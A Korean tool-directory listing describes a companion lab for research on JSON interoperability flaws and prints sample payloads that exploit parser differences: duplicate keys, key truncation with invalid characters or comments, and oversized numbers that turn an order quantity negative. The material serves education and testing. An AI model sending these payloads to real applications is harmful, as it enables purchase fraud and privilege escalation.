Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
json-interop-vuln-labs — "JSON 상호운용성 취약점 탐구(An Exploration of JSON Interoperability Vulnerabilities)"의 동반 랩 | Kitploit
도구/GitHubGitHub/bishopfox/json-interop-vuln-labs
Vulnerability AnalysisWeb Application ExploitationWeb SecurityLearning & EducationLabs & Practice
GitHubbishopfox/json-interop-vuln-labs

json-interop-vuln-labs

"JSON 상호운용성 취약점 탐구(An Exploration of JSON Interoperability Vulnerabilities)"의 동반 랩

저장소 보기
210193년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

JSON 상호운용성 취약점 실습 랩

설명

이것은 제 연구 논문 "JSON 상호운용성 취약점에 대한 탐구"의 동반 실습 랩입니다.

Lab 1: 전자상거래 애플리케이션에서의 무료 구매

  • 키 충돌 공격: 일관성 없는 중복 키 우선순위
  • 일관성 없는 큰 수 표현

Lab 2: 멀티테넌트 애플리케이션에서의 권한 상승

  • 키 충돌 공격: 문자 잘림

이 랩들은 기본적으로 호스트 포트 5000-5004에 바인딩됩니다.

공격 기법

1. 키 충돌

일관성 없는 중복 키 우선순위

root@kitploit:~
{"qty": 1, "qty": -1}

문자 잘림

마지막 키 우선순위 파서에서의 잘림 (첫 번째 키 우선순위 파서의 경우 순서를 뒤집으세요)

root@kitploit:~
{"qty": 1, "qty\<raw \x0d byte here>": -1}
{"qty": 1, "qty\ud800": -1} # Any unpaired surrogate U+D800-U+DFFF
{"qty": 1, "qty"": -1}
{"qty": 1, "qt\y": -1}

주석 잘림

이 문서들은 주석 및 따옴표 없는 문자열 지원의 비일관성을 악용합니다:

root@kitploit:~
{"qty": 1, "extra": 1/*, "qty": -1, "extra2": 2*/}
{"qty": 1, "extra": a/*, "qty": -1, "extra2": b*/}
{"qty": 1, "extra": "a/*", "qty": -1, "extra2": "b"*/}
{"qty": 1, "extra": "a"//, "qty": -1}

2. 숫자 디코딩

일관성 없는 큰 수 디코딩

이러한 큰 숫자 값은 문자열(예: "+Infinity")로 변환되어 타입 저글링(type-juggling) 취약점으로 이어질 수 있습니다. 또는 MAX_INT/MIN_INT, 반올림된 값, 0으로 변환되어 비즈니스 로직 우회를 허용할 수 있습니다.

root@kitploit:~
{"qty": 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
{"qty": -999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
{"qty": 1.0e4096}
{"qty": -1.0e4096}

작성자

Twitter: @theBumbleSec

GitHub: the-bumble

도구 다운로드